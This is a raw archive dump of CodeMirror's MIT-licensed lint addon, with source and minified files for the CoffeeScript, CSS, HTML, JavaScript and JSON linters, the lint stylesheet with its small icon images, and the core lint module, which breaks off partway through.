                to: CodeMirror.Pos(e.location.last_line,
e.location.last_column),
                severity: 'error',
                message: e.message});
  }
  return found;
});

});
PK6��[=�����.codemirror/addon/lint/coffeescript-lint.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.registerHelper("lint","coffeescript",(function(b){var
c=[];if(!window.coffeelint)return
window.console&&window.console.error("Error: window.coffeelint
not defined, CodeMirror CoffeeScript linting cannot
run."),c;try{for(var
d=coffeelint.lint(b),e=0;e<d.length;e++)!(function(b){var
d=b.lineNumber;c.push({from:a.Pos(d-1,0),to:a.Pos(d,0),severity:b.level,message:b.message})})(d[e])}catch(b){c.push({from:a.Pos(b.location.first_line,0),to:a.Pos(b.location.last_line,b.location.last_column),severity:"error",message:b.message})}return
c}))}));PK6��[���!codemirror/addon/lint/css-lint.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Depends on csslint.js from https://github.com/stubbornella/csslint

// declare global: CSSLint

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerHelper("lint", "css", function(text,
options) {
  var found = [];
  if (!window.CSSLint) {
    if (window.console) {
        window.console.error("Error: window.CSSLint not defined,
CodeMirror CSS linting cannot run.");
    }
    return found;
  }
  var results = CSSLint.verify(text, options), messages = results.messages,
message = null;
  for ( var i = 0; i < messages.length; i++) {
    message = messages[i];
    var startLine = message.line -1, endLine = message.line -1, startCol =
message.col -1, endCol = message.col;
    found.push({
      from: CodeMirror.Pos(startLine, startCol),
      to: CodeMirror.Pos(endLine, endCol),
      message: message.message,
      severity : message.type
    });
  }
  return found;
});

});
PK7��[`8�>hh%codemirror/addon/lint/css-lint.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.registerHelper("lint","css",(function(b,c){var
d=[];if(!window.CSSLint)return
window.console&&window.console.error("Error: window.CSSLint
not defined, CodeMirror CSS linting cannot run."),d;for(var
e=CSSLint.verify(b,c),f=e.messages,g=null,h=0;h<f.length;h++){g=f[h];var
i=g.line-1,j=g.line-1,k=g.col-1,l=g.col;d.push({from:a.Pos(i,k),to:a.Pos(j,l),message:g.message,severity:g.type})}return
d}))}));PK7��[y0&���"codemirror/addon/lint/html-lint.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Depends on htmlhint.js from http://htmlhint.com/js/htmlhint.js

// declare global: HTMLHint

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("htmlhint"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror", "htmlhint"], mod);
  else // Plain browser env
    mod(CodeMirror, window.HTMLHint);
})(function(CodeMirror, HTMLHint) {
  "use strict";

  var defaultRules = {
    "tagname-lowercase": true,
    "attr-lowercase": true,
    "attr-value-double-quotes": true,
    "doctype-first": false,
    "tag-pair": true,
    "spec-char-escape": true,
    "id-unique": true,
    "src-not-empty": true,
    "attr-no-duplication": true
  };

  CodeMirror.registerHelper("lint", "html",
function(text, options) {
    var found = [];
    if (HTMLHint && !HTMLHint.verify) {
      if(typeof HTMLHint.default !== 'undefined') {
        HTMLHint = HTMLHint.default;
      } else {
        HTMLHint = HTMLHint.HTMLHint;
      }
    }
    if (!HTMLHint) HTMLHint = window.HTMLHint;
    if (!HTMLHint) {
      if (window.console) {
          window.console.error("Error: HTMLHint not found, not defined
on window, or not available through define/require, CodeMirror HTML linting
cannot run.");
      }
      return found;
    }
    var messages = HTMLHint.verify(text, options && options.rules
|| defaultRules);
    for (var i = 0; i < messages.length; i++) {
      var message = messages[i];
      var startLine = message.line - 1, endLine = message.line - 1,
startCol = message.col - 1, endCol = message.col;
      found.push({
        from: CodeMirror.Pos(startLine, startCol),
        to: CodeMirror.Pos(endLine, endCol),
        message: message.message,
        severity : message.type
      });
    }
    return found;
  });
});
PK7��[�_d��&codemirror/addon/lint/html-lint.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("htmlhint")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","htmlhint"],a):a(CodeMirror,window.HTMLHint)})((function(a,b){"use
strict";var
c={"tagname-lowercase":!0,"attr-lowercase":!0,"attr-value-double-quotes":!0,"doctype-first":!1,"tag-pair":!0,"spec-char-escape":!0,"id-unique":!0,"src-not-empty":!0,"attr-no-duplication":!0};a.registerHelper("lint","html",(function(d,e){var
f=[];if(b&&!b.verify&&(b=void
0!==b.default?b.default:b.HTMLHint),b||(b=window.HTMLHint),!b)return
window.console&&window.console.error("Error: HTMLHint not
found, not defined on window, or not available through define/require,
CodeMirror HTML linting cannot run."),f;for(var
g=b.verify(d,e&&e.rules||c),h=0;h<g.length;h++){var
i=g[h],j=i.line-1,k=i.line-1,l=i.col-1,m=i.col;f.push({from:a.Pos(j,l),to:a.Pos(k,m),message:i.message,severity:i.type})}return
f}))}));PK7��[��O�00(codemirror/addon/lint/javascript-lint.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  // declare global: JSHINT

  function validator(text, options) {
    if (!window.JSHINT) {
      if (window.console) {
        window.console.error("Error: window.JSHINT not defined,
CodeMirror JavaScript linting cannot run.");
      }
      return [];
    }
    if (!options.indent) // JSHint error.character actually is a column
index, this fixes underlining on lines using tabs for indentation
      options.indent = 1; // JSHint default value is 4
    JSHINT(text, options, options.globals);
    var errors = JSHINT.data().errors, result = [];
    if (errors) parseErrors(errors, result);
    return result;
  }

  CodeMirror.registerHelper("lint", "javascript",
validator);

  function parseErrors(errors, output) {
    for ( var i = 0; i < errors.length; i++) {
      var error = errors[i];
      if (error) {
        if (error.line <= 0) {
          if (window.console) {
            window.console.warn("Cannot display JSHint error (invalid
line " + error.line + ")", error);
          }
          continue;
        }

        var start = error.character - 1, end = start + 1;
        if (error.evidence) {
          var index = error.evidence.substring(start).search(/.\b/);
          if (index > -1) {
            end += index;
          }
        }

        // Convert to format expected by validation service
        var hint = {
          message: error.reason,
          severity: error.code ? (error.code.startsWith('W') ?
"warning" : "error") : "error",
          from: CodeMirror.Pos(error.line - 1, start),
          to: CodeMirror.Pos(error.line - 1, end)
        };

        output.push(hint);
      }
    }
  }
});
PK7��[�wJ��,codemirror/addon/lint/javascript-lint.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a,b){if(!window.JSHINT)return
window.console&&window.console.error("Error: window.JSHINT not
defined, CodeMirror JavaScript linting cannot
run."),[];b.indent||(b.indent=1),JSHINT(a,b,b.globals);var
d=JSHINT.data().errors,e=[];return d&&c(d,e),e}function
c(b,c){for(var d=0;d<b.length;d++){var
e=b[d];if(e){if(e.line<=0){window.console&&window.console.warn("Cannot
display JSHint error (invalid line
"+e.line+")",e);continue}var
f=e.character-1,g=f+1;if(e.evidence){var
h=e.evidence.substring(f).search(/.\b/);h>-1&&(g+=h)}var
i={message:e.reason,severity:e.code&&e.code.startsWith("W")?"warning":"error",from:a.Pos(e.line-1,f),to:a.Pos(e.line-1,g)};c.push(i)}}}a.registerHelper("lint","javascript",b)}));PK7��[r��55"codemirror/addon/lint/json-lint.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Depends on jsonlint.js from https://github.com/zaach/jsonlint

// declare global: jsonlint

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerHelper("lint", "json",
function(text) {
  var found = [];
  if (!window.jsonlint) {
    if (window.console) {
      window.console.error("Error: window.jsonlint not defined,
CodeMirror JSON linting cannot run.");
    }
    return found;
  }
  // for jsonlint's web dist jsonlint is exported as an object with a
single property parser, of which parseError
  // is a subproperty
  var jsonlint = window.jsonlint.parser || window.jsonlint
  jsonlint.parseError = function(str, hash) {
    var loc = hash.loc;
    found.push({from: CodeMirror.Pos(loc.first_line - 1, loc.first_column),
                to: CodeMirror.Pos(loc.last_line - 1, loc.last_column),
                message: str});
  };
  try { jsonlint.parse(text); }
  catch(e) {}
  return found;
});

});
PK7��[ƨ�zz&codemirror/addon/lint/json-lint.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.registerHelper("lint","json",(function(b){var
c=[];if(!window.jsonlint)return
window.console&&window.console.error("Error: window.jsonlint
not defined, CodeMirror JSON linting cannot run."),c;var
d=window.jsonlint.parser||window.jsonlint;d.parseError=function(b,d){var
e=d.loc;c.push({from:a.Pos(e.first_line-1,e.first_column),to:a.Pos(e.last_line-1,e.last_column),message:b})};try{d.parse(b)}catch(a){}return
c}))}));PK7��[˕�A��codemirror/addon/lint/lint.cssnu�[���/*
The lint marker gutter */
.CodeMirror-lint-markers {
  width: 16px;
}

.CodeMirror-lint-tooltip {
  background-color: #ffd;
  border: 1px solid black;
  border-radius: 4px 4px 4px 4px;
  color: black;
  font-family: monospace;
  font-size: 10pt;
  overflow: hidden;
  padding: 2px 5px;
  position: fixed;
  white-space: pre;
  white-space: pre-wrap;
  z-index: 100;
  max-width: 600px;
  opacity: 0;
  transition: opacity .4s;
  -moz-transition: opacity .4s;
  -webkit-transition: opacity .4s;
  -o-transition: opacity .4s;
  -ms-transition: opacity .4s;
}

.CodeMirror-lint-mark-error, .CodeMirror-lint-mark-warning {
  background-position: left bottom;
  background-repeat: repeat-x;
}

.CodeMirror-lint-mark-error {
  background-image:
 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAQAAAADCAYAAAC09K7GAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9sJDw4cOCW1/KIAAAAZdEVYdENvbW1lbnQAQ3JlYXRlZCB3aXRoIEdJTVBXgQ4XAAAAHElEQVQI12NggIL/DAz/GdA5/xkY/qPKMDAwAADLZwf5rvm+LQAAAABJRU5ErkJggg==")
  ;
}

.CodeMirror-lint-mark-warning {
  background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAQAAAADCAYAAAC09K7GAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9sJFhQXEbhTg7YAAAAZdEVYdENvbW1lbnQAQ3JlYXRlZCB3aXRoIEdJTVBXgQ4XAAAAMklEQVQI12NkgIIvJ3QXMjAwdDN+OaEbysDA4MPAwNDNwMCwiOHLCd1zX07o6kBVGQEAKBANtobskNMAAAAASUVORK5CYII=");
}

.CodeMirror-lint-marker-error, .CodeMirror-lint-marker-warning {
  background-position: center center;
  background-repeat: no-repeat;
  cursor: pointer;
  display: inline-block;
  height: 16px;
  width: 16px;
  vertical-align: middle;
  position: relative;
}

.CodeMirror-lint-message-error, .CodeMirror-lint-message-warning {
  padding-left: 18px;
  background-position: top left;
  background-repeat: no-repeat;
}

.CodeMirror-lint-marker-error, .CodeMirror-lint-message-error {
  background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAHlBMVEW7AAC7AACxAAC7AAC7AAAAAAC4AAC5AAD///+7AAAUdclpAAAABnRSTlMXnORSiwCK0ZKSAAAATUlEQVR42mWPOQ7AQAgDuQLx/z8csYRmPRIFIwRGnosRrpamvkKi0FTIiMASR3hhKW+hAN6/tIWhu9PDWiTGNEkTtIOucA5Oyr9ckPgAWm0GPBog6v4AAAAASUVORK5CYII=");
}

.CodeMirror-lint-marker-warning, .CodeMirror-lint-message-warning {
  background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAANlBMVEX/uwDvrwD/uwD/uwD/uwD/uwD/uwD/uwD/uwD6twD/uwAAAADurwD2tQD7uAD+ugAAAAD/uwDhmeTRAAAADHRSTlMJ8mN1EYcbmiixgACm7WbuAAAAVklEQVR42n3PUQqAIBBFUU1LLc3u/jdbOJoW1P08DA9Gba8+YWJ6gNJoNYIBzAA2chBth5kLmG9YUoG0NHAUwFXwO9LuBQL1giCQb8gC9Oro2vp5rncCIY8L8uEx5ZkAAAAASUVORK5CYII=");
}

.CodeMirror-lint-marker-multiple {
  background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAcAAAAHCAMAAADzjKfhAAAACVBMVEUAAAAAAAC/v7914kyHAAAAAXRSTlMAQObYZgAAACNJREFUeNo1ioEJAAAIwmz/H90iFFSGJgFMe3gaLZ0od+9/AQZ0ADosbYraAAAAAElFTkSuQmCC");
  background-repeat: no-repeat;
  background-position: right bottom;
  width: 100%; height: 100%;
}
PK7��[�|U?"?"codemirror/addon/lint/lint.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  var GUTTER_ID = "CodeMirror-lint-markers";

  function showTooltip(cm, e, content) {
    var tt = document.createElement("div");
    tt.className = "CodeMirror-lint-tooltip cm-s-" +
cm.options.theme;
    tt.appendChild(content.cloneNode(true));
    if (cm.state.lint.options.selfContain)
      cm.getWrapperElement().appendChild(tt);
    else
      document.body.appendChild(tt);

    function position(e) {
      if (!tt.parentNode) return CodeMirror.off(document,
"mousemove", position);
      tt.style.top = Math.max(0, e.clientY - tt.offsetHeight - 5) +
"px";
      tt.style.left = (e.clientX + 5) + "px";
    }
    CodeMirror.on(document, "mousemove", position);
    position(e);
    if (tt.style.opacity != null) tt.style.opacity = 1;
    return tt;
  }
  function rm(elt) {
    if (elt.parentNode) elt.parentNode.removeChild(elt);
  }
  function hideTooltip(tt) {
    if (!tt.parentNode) return;
    if (tt.style.opacity == null) rm(tt);
    tt.style.opacity = 0;
    setTimeout(function() { rm(tt); }, 600);
  }

  function showTooltipFor(cm, e, content, node) {
    var tooltip = showTooltip(cm, e, content);
    function hide() {
      CodeMirror.off(node, "mouseout", hide);
      if (tooltip) { hideTooltip(tooltip); tooltip = null; }
    }
    var poll = setInterval(function() {
      if (tooltip) for (var n = node;; n = n.parentNode) {
        if (n && n.nodeType == 11) n = n.host;
        if (n == document.body) return;
        if (!n) { hide(); break; }
      }
      if (!tooltip) return clearInterval(poll);
    }, 400);
    CodeMirror.on(node, "mouseout", hide);
  }

  function LintState(cm, options, hasGutter) {
    this.marked = [];
    this.options = options;
    this.timeout = null;
    this.hasGutter = hasGutter;
    this.onMouseOver = function(e) { onMouseOver(cm, e); };
    this.waitingFor = 0
  }

  function parseOptions(_cm, options) {
    if (options instanceof Function) return {getAnnotations: options};
    if (!options || options === true) options = {};
    return options;
  }

  function clearMarks(cm) {
    var state = cm.state.lint;
    if (state.hasGutter) cm.clearGutter(GUTTER_ID);
    for (var i = 0; i < state.marked.length; ++i)
      state.marked[i].clear();
    state.marked.length = 0;
  }

  function makeMarker(cm, labels, severity, multiple, tooltips) {
    var marker = document.createElement("div"), inner = marker;
    marker.className = "CodeMirror-lint-marker-" + severity;
    if (multiple) {
      inner = marker.appendChild(document.createElement("div"));
      inner.className = "CodeMirror-lint-marker-multiple";
    }

    if (tooltips != false) CodeMirror.on(inner, "mouseover",
function(e) {
      showTooltipFor(cm, e, labels, inner);
    });

    return marker;
  }

  function getMaxSeverity(a, b) {
    if (a == "error") return a;
    else return b;
  }

  function groupByLine(annotations) {
    var lines = [];
    for (var i = 0; i < annotations.length; ++i) {
      var ann = annotations[i], line = ann.from.line;
      (lines[line] || (lines[line] = [])).push(ann);
    }
    return lines;
  }

  function annotationTooltip(ann) {
    var severity = ann.severity;
    if (!severity) severity = "error";
    var tip = document.createElement("div");
    tip.className = "CodeMirror-lint-message-" + severity;
    if (typeof ann.messageHTML != 'undefined') {
      tip.innerHTML = ann.messageHTML;
    } else {
      tip.appendChild(document.createTextNode(ann.message));
    }
    return tip;
  }

  function lintAsync(cm, getAnnotations, passOptions) {
    var state = cm.state.lint
    var id = ++state.waitingFor
    function abort() {
      id = -1
      cm.off("change", abort)
    }
    cm.on("change", abort)
    getAnnotations(cm.getValue(), function(annotations, arg2) {
      cm.off("change", abort)
      if (state.waitingFor != id) return
      if (arg2 && annotations instanceof CodeMirror) annotations =
arg2
      cm.operation(function() {updateLinting(cm, annotations)})
    }, passOptions, cm);
  }

  function startLinting(cm) {
    var state = cm.state.lint, options = state.options;
    /*
     * Passing rules in `options` property prevents JSHint (and other
linters) from complaining
     * about unrecognized rules like `onUpdateLinting`, `delay`,
`lintOnChange`, etc.
     */
    var passOptions = options.options || options;
    var getAnnotations = options.getAnnotations ||
cm.getHelper(CodeMirror.Pos(0, 0), "lint");
    if (!getAnnotations) return;
    if (options.async || getAnnotations.async) {
      lintAsync(cm, getAnnotations, passOptions)
    } else {
      var annotations = getAnnotations(cm.getValue(), passOptions, cm);
      if (!annotations) return;
      if (annotations.then) annotations.then(function(issues) {
        cm.operation(function() {updateLinting(cm, issues)})
      });
      else cm.operation(function() {updateLinting(cm, annotations)})
    }
  }

  function updateLinting(cm, annotationsNotSorted) {
    clearMarks(cm);
    var state = cm.state.lint, options = state.options;

    var annotations = groupByLine(annotationsNotSorted);

    for (var line = 0; line < annotations.length; ++line) {
      var anns = annotations[line];
      if (!anns) continue;

      var maxSeverity = null;
      var tipLabel = state.hasGutter &&
document.createDocumentFragment();

      for (var i = 0; i < anns.length; ++i) {
        var ann = anns[i];
        var severity = ann.severity;
        if (!severity) severity = "error";
        maxSeverity = getMaxSeverity(maxSeverity, severity);

        if (options.formatAnnotation) ann = options.formatAnnotation(ann);
        if (state.hasGutter) tipLabel.appendChild(annotationTooltip(ann));

        if (ann.to) state.marked.push(cm.markText(ann.from, ann.to, {
          className: "CodeMirror-lint-mark-" + severity,
          __annotation: ann
        }));
      }

      if (state.hasGutter)
        cm.setGutterMarker(line, GUTTER_ID, makeMarker(cm, tipLabel,
maxSeverity, anns.length > 1,
                                                      
state.options.tooltips));
    }
    if (options.onUpdateLinting)
options.onUpdateLinting(annotationsNotSorted, annotations, cm);
  }

  function onChange(cm) {
    var state = cm.state.lint;
    if (!state) return;
    clearTimeout(state.timeout);
    state.timeout = setTimeout(function(){startLinting(cm);},
state.options.delay || 500);
  }

  function popupTooltips(cm, annotations, e) {
    var target = e.target || e.srcElement;
    var tooltip = document.createDocumentFragment();
    for (var i = 0; i < annotations.length; i++) {
      var ann = annotations[i];
      tooltip.appendChild(annotationTooltip(ann));
    }
    showTooltipFor(cm, e, tooltip, target);
  }

  function onMouseOver(cm, e) {
    var target = e.target || e.srcElement;
    if (!/\bCodeMirror-lint-mark-/.test(target.className)) return;
    var box = target.getBoundingClientRect(), x = (box.left + box.right) /
2, y = (box.top + box.bottom) / 2;
    var spans = cm.findMarksAt(cm.coordsChar({left: x, top: y},
"client"));

    var annotations = [];
    for (var i = 0; i < spans.length; ++i) {
      var ann = spans[i].__annotation;
      if (ann) annotations.push(ann);
    }
    if (annotations.length) popupTooltips(cm, annotations, e);
  }

  CodeMirror.defineOption("lint", false, function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      clearMarks(cm);
      if (cm.state.lint.options.lintOnChange !== false)
        cm.off("change", onChange);
      CodeMirror.off(cm.getWrapperElement(), "mouseover",
cm.state.lint.onMouseOver);
      clearTimeout(cm.state.lint.timeout);
      delete cm.state.lint;
    }

    if (val) {
      var gutters = cm.getOption("gutters"), hasLintGutter =
false;
      for (var i = 0; i < gutters.length; ++i) if (gutters[i] ==
GUTTER_ID) hasLintGutter = true;
      var state = cm.state.lint = new LintState(cm, parseOptions(cm, val),
hasLintGutter);
      if (state.options.lintOnChange !== false)
        cm.on("change", onChange);
      if (state.options.tooltips != false && state.options.tooltips
!= "gutter")
        CodeMirror.on(cm.getWrapperElement(), "mouseover",
state.onMouseOver);

      startLinting(cm);
    }
  });

  CodeMirror.defineExtension("performLint", function() {
    if (this.state.lint) startLinting(this);
  });
});
PK7��[\��X�
�
"codemirror/addon/lint/lint.min.cssnu�[���.CodeMirror-lint-markers{width:16px}.CodeMirror-lint-tooltip{background-color:#ffd;border:1px
solid
#000;border-radius:4px;color:#000;font-family:monospace;font-size:10pt;overflow:hidden;padding:2px
5px;position:fixed;white-space:pre;white-space:pre-wrap;z-index:100;max-width:600px;opacity:0;transition:opacity
.4s;-moz-transition:opacity .4s;-webkit-transition:opacity
.4s;-o-transition:opacity .4s;-ms-transition:opacity
.4s}.CodeMirror-lint-mark-error,.CodeMirror-lint-mark-warning{background-position:left
bottom;background-repeat:repeat-x}.CodeMirror-lint-mark-error{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAQAAAADCAYAAAC09K7GAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9sJDw4cOCW1/KIAAAAZdEVYdENvbW1lbnQAQ3JlYXRlZCB3aXRoIEdJTVBXgQ4XAAAAHElEQVQI12NggIL/DAz/GdA5/xkY/qPKMDAwAADLZwf5rvm+LQAAAABJRU5ErkJggg==)}.CodeMirror-lint-mark-warning{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAQAAAADCAYAAAC09K7GAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9sJFhQXEbhTg7YAAAAZdEVYdENvbW1lbnQAQ3JlYXRlZCB3aXRoIEdJTVBXgQ4XAAAAMklEQVQI12NkgIIvJ3QXMjAwdDN+OaEbysDA4MPAwNDNwMCwiOHLCd1zX07o6kBVGQEAKBANtobskNMAAAAASUVORK5CYII=)}.CodeMirror-lint-marker-error,.CodeMirror-lint-marker-warning{background-position:center
center;background-repeat:no-repeat;cursor:pointer;display:inline-block;height:16px;width:16px;vertical-align:middle;position:relative}.CodeMirror-lint-message-error,.CodeMirror-lint-message-warning{padding-left:18px;background-position:top
left;background-repeat:no-repeat}.CodeMirror-lint-marker-error,.CodeMirror-lint-message-error{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAHlBMVEW7AAC7AACxAAC7AAC7AAAAAAC4AAC5AAD///+7AAAUdclpAAAABnRSTlMXnORSiwCK0ZKSAAAATUlEQVR42mWPOQ7AQAgDuQLx/z8csYRmPRIFIwRGnosRrpamvkKi0FTIiMASR3hhKW+hAN6/tIWhu9PDWiTGNEkTtIOucA5Oyr9ckPgAWm0GPBog6v4AAAAASUVORK5CYII=)}.CodeMirror-lint-marker-warning,.CodeMirror-lint-message-warning{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAANlBMVEX/uwDvrwD/uwD/uwD/uwD/uwD/uwD/uwD/uwD6twD/uwAAAADurwD2tQD7uAD+ugAAAAD/uwDhmeTRAAAADHRSTlMJ8mN1EYcbmiixgACm7WbuAAAAVklEQVR42n3PUQqAIBBFUU1LLc3u/jdbOJoW1P08DA9Gba8+YWJ6gNJoNYIBzAA2chBth5kLmG9YUoG0NHAUwFXwO9LuBQL1giCQb8gC9Oro2vp5rncCIY8L8uEx5ZkAAAAASUVORK5CYII=)}.CodeMirror-lint-marker-multiple{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAcAAAAHCAMAAADzjKfhAAAACVBMVEUAAAAAAAC/v7914kyHAAAAAXRSTlMAQObYZgAAACNJREFUeNo1ioEJAAAIwmz/H90iFFSGJgFMe3gaLZ0od+9/AQZ0ADosbYraAAAAAElFTkSuQmCC);background-repeat:no-repeat;background-position:right
bottom;width:100%;height:100%}PK7��[ބ��55!codemirror/addon/lint/lint.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(b,c,d){function e(b){if(!f.parentNode)return
a.off(document,"mousemove",e);f.style.top=Math.max(0,b.clientY-f.offsetHeight-5)+"px",f.style.left=b.clientX+5+"px"}var
f=document.createElement("div");return
f.className="CodeMirror-lint-tooltip
cm-s-"+b.options.theme,f.appendChild(d.cloneNode(!0)),b.state.lint.options.selfContain?b.getWrapperElement().appendChild(f):document.body.appendChild(f),a.on(document,"mousemove",e),e(c),null!=f.style.opacity&&(f.style.opacity=1),f}function
c(a){a.parentNode&&a.parentNode.removeChild(a)}function
d(a){a.parentNode&&(null==a.style.opacity&&c(a),a.style.opacity=0,setTimeout((function(){c(a)}),600))}function
e(c,e,f,g){function
h(){a.off(g,"mouseout",h),i&&(d(i),i=null)}var
i=b(c,e,f),j=setInterval((function(){if(i)for(var
a=g;;a=a.parentNode){if(a&&11==a.nodeType&&(a=a.host),a==document.body)return;if(!a){h();break}}if(!i)return
clearInterval(j)}),400);a.on(g,"mouseout",h)}function
f(a,b,c){this.marked=[],this.options=b,this.timeout=null,this.hasGutter=c,this.onMouseOver=function(b){r(a,b)},this.waitingFor=0}function
g(a,b){return b instanceof
Function?{getAnnotations:b}:(b&&!0!==b||(b={}),b)}function h(a){var
b=a.state.lint;b.hasGutter&&a.clearGutter(s);for(var
c=0;c<b.marked.length;++c)b.marked[c].clear();b.marked.length=0}function
i(b,c,d,f,g){var h=document.createElement("div"),i=h;return
h.className="CodeMirror-lint-marker-"+d,f&&(i=h.appendChild(document.createElement("div")),i.className="CodeMirror-lint-marker-multiple"),0!=g&&a.on(i,"mouseover",(function(a){e(b,a,c,i)})),h}function
j(a,b){return"error"==a?a:b}function k(a){for(var
b=[],c=0;c<a.length;++c){var
d=a[c],e=d.from.line;(b[e]||(b[e]=[])).push(d)}return b}function l(a){var
b=a.severity;b||(b="error");var
c=document.createElement("div");return
c.className="CodeMirror-lint-message-"+b,void
0!==a.messageHTML?c.innerHTML=a.messageHTML:c.appendChild(document.createTextNode(a.message)),c}function
m(b,c,d){function e(){g=-1,b.off("change",e)}var
f=b.state.lint,g=++f.waitingFor;b.on("change",e),c(b.getValue(),(function(c,d){b.off("change",e),f.waitingFor==g&&(d&&c
instanceof
a&&(c=d),b.operation((function(){o(b,c)})))}),d,b)}function
n(b){var
c=b.state.lint,d=c.options,e=d.options||d,f=d.getAnnotations||b.getHelper(a.Pos(0,0),"lint");if(f)if(d.async||f.async)m(b,f,e);else{var
g=f(b.getValue(),e,b);if(!g)return;g.then?g.then((function(a){b.operation((function(){o(b,a)}))})):b.operation((function(){o(b,g)}))}}function
o(a,b){h(a);for(var
c=a.state.lint,d=c.options,e=k(b),f=0;f<e.length;++f){var
g=e[f];if(g){for(var
m=null,n=c.hasGutter&&document.createDocumentFragment(),o=0;o<g.length;++o){var
p=g[o],q=p.severity;q||(q="error"),m=j(m,q),d.formatAnnotation&&(p=d.formatAnnotation(p)),c.hasGutter&&n.appendChild(l(p)),p.to&&c.marked.push(a.markText(p.from,p.to,{className:"CodeMirror-lint-mark-"+q,__annotation:p}))}c.hasGutter&&a.setGutterMarker(f,s,i(a,n,m,g.length>1,c.options.tooltips))}}d.onUpdateLinting&&d.onUpdateLinting(b,e,a)}function
p(a){var
b=a.state.lint;b&&(clearTimeout(b.timeout),b.timeout=setTimeout((function(){n(a)}),b.options.delay||500))}function
q(a,b,c){for(var
d=c.target||c.srcElement,f=document.createDocumentFragment(),g=0;g<b.length;g++){var
h=b[g];f.appendChild(l(h))}e(a,c,f,d)}function r(a,b){var
c=b.target||b.srcElement;if(/\bCodeMirror-lint-mark-/.test(c.className)){for(var
d=c.getBoundingClientRect(),e=(d.left+d.right)/2,f=(d.top+d.bottom)/2,g=a.findMarksAt(a.coordsChar({left:e,top:f},"client")),h=[],i=0;i<g.length;++i){var
j=g[i].__annotation;j&&h.push(j)}h.length&&q(a,h,b)}}var
s="CodeMirror-lint-markers";a.defineOption("lint",!1,(function(b,c,d){if(d&&d!=a.Init&&(h(b),!1!==b.state.lint.options.lintOnChange&&b.off("change",p),a.off(b.getWrapperElement(),"mouseover",b.state.lint.onMouseOver),clearTimeout(b.state.lint.timeout),delete
b.state.lint),c){for(var
